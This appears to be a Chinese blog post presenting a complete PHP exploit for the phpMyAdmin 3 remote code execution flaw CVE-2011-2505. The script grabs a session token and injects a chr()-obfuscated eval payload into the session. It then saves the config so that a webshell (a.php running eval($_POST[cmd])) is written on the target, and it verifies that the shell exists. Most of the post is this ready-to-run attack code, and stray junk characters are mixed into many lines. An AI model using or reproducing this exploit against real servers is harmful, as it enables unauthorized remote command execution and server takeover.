phpadmin3 remote code execute php版本exploit

admin

最近在家做专职奶爸，不谙圈内事很多months了，博客也无更新。

昨夜带孩子整夜未眠，看到黑哥在php security群里关于phpmyadmin3漏洞的讨论，虽然之前没看过漏洞代码，不过前段时间还是在微博上看到wofeiwo的exp了，不过据黑哥说有不鸡肋的利用方法，于是夜里翻代码出来研究了翻，写出了这个冷饭exp，由于我搞的晚了，之前已经很多人研究了写exp了，于是我这个属于炒冷饭，权当研究研究打发时间了。

" N/ g; `* y: _% h6 g/ J! L- q首先赞下wofeiwo的python版本的exp，再赞下wofeiwo跟superhei的钻研精神，学习的榜样啊。不过之前那个exp利用起来是有一些限制的：
4 i2 k" P1 [# j一是session.auto_start = 1；
+ a2 C4 V$ n4 f' S# H' j二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。
! ]+ f  i7 X, h当然还有第三点大家都不可以逾越的鸿沟：config目录存在且可写。

在群里看了黑哥的发言后，再看了下代码，发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。
+ g! l* Z- Q( m: m
* ]( p+ y- E- d5 X8 O) m9 a于是写了这个php版本的exp，代码如下：

#!/usr/bin/php
% @& ~- {: m$ M9 W- x5 y<?php
print_r('
+---------------------------------------------------------------------------+
pma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]
2 a: g8 t+ g8 `( Z4 Z6 q) Gby oldjun(www.oldjun.com)
1 G- q' `- b3 W6 A  Ywelcome to www.t00ls.net
mail: oldjun@gmail.com
Assigned CVE id: CVE-2011-2505
9 q% a% Y  F. o+---------------------------------------------------------------------------+
');
5 S$ T; a1 V# s- u
: \& [0 ]. A8 j8 O9 S6 ]2 D( W# f/**
; ~# @. G" q. A/ ~8 i  R' R9 n& m * working when the directory:"config" exists and is writeable.
**/

+ l4 A: x" |: x7 e; W! H7 r- _if ($argc < 3) {
    print_r('
+---------------------------------------------------------------------------+
1 Q3 |( z# @1 K' c9 ^6 bUsage: php '.$argv[0].' host path
/ R/ o* D& o- N5 T1 L" Y# Dhost:      target server (ip/hostname)
path:      path to pma3
$ I! }$ J' l$ K4 h# \  |# `Example:
: f) s- U/ Q3 |* ^" G- I+ [php '.$argv[0].' localhost /pma/
+---------------------------------------------------------------------------+
4 A- k& R; Q$ t7 I; X');
    exit;
( d! @0 l9 R# ?" |}
5 ]" E8 i/ b- T% d+ G4 x& d
$host = $argv[1];
$path = $argv[2];

/**
# j. @- }: y' Q( p2 B5 k * Try to determine if the directory:"config" exists
# K8 e+ i7 t- G+ ?! `+ I5 H1 S**/
* G  E* W9 U4 J& L6 ~echo "[+] Try to determine if the directory:config exists....\n";
- L" v9 s& D; D% L$returnstr=php_request('config/');
8 ]2 p# P; g, m, p$ {% O# w8 Kif(strpos($returnstr,'404')){
    exit("[-] Exploit Failed! The directory:config do not exists!\n");
}
' K0 N2 t& {6 n  {
/**
* Try to get token and sessionid
**/
2 S8 _$ R2 v, u& w- a# Lecho "[+] Try to get token and sessionid....\n";
$result=php_request('index.php');
; B* _, o4 n! Q5 Qpreg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);
$token=$resp[3];
% D' A7 X: V5 x1 Y+ k$sessionid=$resp[1];
if($token && $sessionid){
, O* w, {2 B7 k' W  \6 W4 ]    echo "[+] tokentoken\n";
4 y, L1 `0 E: p/ a8 g5 q- l    echo "[+] Session IDsessionid\n";
}else{
. z0 f/ X& Y0 s% e6 {- V    exit("[-] Can't get token and Session ID,Exploit Failed!\n");
3 m. j0 k: ^/ f- N' @: x/ O}
% \! M& K4 ~% D, X# o
% {7 u% p3 J/ w4 R- A# E; t0 S* q/**
; ^3 E: A0 ^* h" x; ~* W$ ]  V * Try to insert shell into session
**/
echo "[+] Try to insert shell into session....\n";
. ?; |/ ~" P; g5 u& Q! Gphp_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.

  W# B* Y+ a6 t1 f' F) l2 o/**
* Try to create webshell
4 k- b. X8 M8 E( e4 g- _; s; ~**/
! A& g- F" x& m! w, {0 @# hecho "[+] Try to create webshell....\n";
php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
  M# }; H9 H  k+ r0 |/**
* Try to check if the webshell was created successfully
**/
echo "[+] Try to check if the webshell was created successfully....\n";
* W( Z3 _! H; p, D0 z" i$content=php_request('config/config.inc.php');
& v! w: M# b: j( Cif(strpos($content,'t00ls')){
    echo "[+] Congratulations! Expoilt successfully....\n";
& {9 L. m1 w3 }' K8 ]    echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";
}else{
    exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
  m% i- Y' D- _4 u* S; \# N( D  @}
% v* D* G$ n6 K) ^) M. j
function php_request($url,$data='',$cookie=''){
    global  $host, $path;
   
    $method=$data?'POST':'GET';
4 u' }! g* {8 `3 N/ }( R5 l   
/ q) Z" N; \# Z# w* l    $packet = $method." ".$path.$url." HTTP/1.1\r\n";
4 q" v. {. e0 i0 }" n    $packet .= "Accept: */*\r\n";
    $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
# j. ]9 `3 v2 y8 N" x4 P    $packet .= "Host: $host\r\n";
4 f1 t6 c1 Y. m: e' M7 P) M3 {    $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";
    $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";
    $packet .= $cookie?"Cookie: $cookie\r\n":"";
& T9 T2 G5 B5 a6 }    $packet .= "Connection: Close\r\n\r\n";
* x+ X6 k  F  A  N    $packet .= $data?$data:"";
) I2 V; s3 `& N# z" T' W6 U) Z
1 M) k( [# K6 {& }    $fp = fsockopen(gethostbyname($host), 80);
    if (!$fp) {
* M9 Z& P, v- w  Y. C) _    echo 'No response from '.$host; die;
# _" S5 _7 a$ T, _    }
# P; _6 s4 O5 ]8 t9 D4 r7 r    fputs($fp, $packet);
/ T; r3 N1 _" J! E9 t! w
9 b; \* C8 R4 y) O    $resp = '';
4 U& _& U6 ~) b* h
    while ($fp && !feof($fp))
        $resp .= fread($fp, 1024);
% d/ I' q6 T1 E0 b' s; m
! x1 d- V% N: l( [    return $resp;
+ a2 |& Y$ g1 E( l, @+ }4 Y* U}
$ ~  X7 z0 D; Y  S5 A   
?>
.